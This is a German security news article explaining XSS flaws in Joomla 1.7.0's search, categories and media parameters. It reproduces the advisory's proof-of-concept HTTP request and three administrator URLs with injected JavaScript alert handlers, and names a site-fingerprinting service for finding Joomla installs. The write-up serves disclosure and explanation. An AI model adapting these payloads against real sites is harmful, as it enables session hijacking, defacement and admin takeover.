Joomla ist ein in PHP programmiertes Content-Management-System (CMS), das aus Mambo hervorgegangen ist. Kürzlich entdeckte Eingabekontrollfehler in der freien Webanwendung haben zur Folge, dass ein entfernter Angreifer Attacken per Cross-Site-Scripting (XSS) durchführen kann.
Joomla verwendet das derzeit populäre MVC-Architekturmuster, das die Anwendung in Model (M), View (V) und Controller (C) aufteilt. Die gefundenen Schwachstellen befinden sich in der View-Komponente, genauer in der Datei “index.php”, an die der Benutzer via URL verschiedene Parameter übergeben kann. Einige dieser Parameter werden nicht korrekt gefiltert, bevor sie weiterverwendet werden. Dabei handelt es sich um die Variablen “searchword” (mit der Option “com_search”), “extension” (mit der Option “com_categories”), “asset” (mit der Option “com_media”), und “author” (mit der Option “com_media”). Den Fehler beim Behandeln des “searchword”-Parameters kann sogar ein nicht angemeldeter entfernter Angreifer ausnutzen. Für einen Angriff über die verbleibenden drei Parameter ist jedoch ein Account auf dem System erforderlich.
Laut Advisory ist eine Attacke gegen die “searchword”-Schwachstelle mit folgender HTTP-Anfrage möglich:
POST /joomla164_noseo/index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla164_noseo/
Content-Type: application/x-www-form-urlencoded
Content-Length: 456
task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search
Hier hat der Angreifer Javascript-Code in der Form eines “confirm()”- und “alert()”-Aufrufs eingefügt. Die Strings sind dabei als Unicode-Zeichennummern kodiert und werden von der Funktion “fromCharCode()” umgewandelt. Natürlich kann ein Angreifer hier beliebigen Javascript-Code einfügen und damit im Browser des Benutzer beliebige Befehle innerhalb der Sicherheitsdomäne der Seite ausführen.
Hier handelt es sich also um ein klassisches Beispiel einer XSS-Attacke, wo der Browser schädlichen Skript-Code im Browser des Anwenders ausführt. Solche Attacken lassen sich für weitere Angriffe ausnützen, etwa für das Übernehmen von Benutzer-Sessions, Website-Defacements oder Phishing-Angriffe.
Attacken gegen die anderen drei Parameter sind durch folgende URLs möglich:
http://localhost/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22 http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author= http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22
Hierzu muss der Angreifer allerdings am System angemeldet sein.
Besonders kritisch sind diese Attacken, wenn das Opfer der Joomla-Administrator ist. In diesem Fall ist es für den Angreifer möglich, die Systemkonfiguration zu modifizieren, da er Zugriff auf die Funktionen in “/administrator/” erlangt.
Bleibt noch die Frage, wie ein Angreifer herausbekommt, ob eine bestimmte Seite Joomla verwendet, und damit möglicherweise angreifbar ist. Neben dem Lesen des HTML-Quellcodes der Seiten gibt es auch einfachere Möglichkeiten, umfangreiche Informationen über das Webseiten-System zu erlangen. Beispielsweise gibt die Website builtwith.com bei Eingabe einer URL Auskunft über das Serversystem einschließlich eventuell verwendeter Application-Frameworks.
Betroffen ist die Joomla-Version 1.7.0, die Programmierfehler wurden in Version 1.7.1 korrigiert.

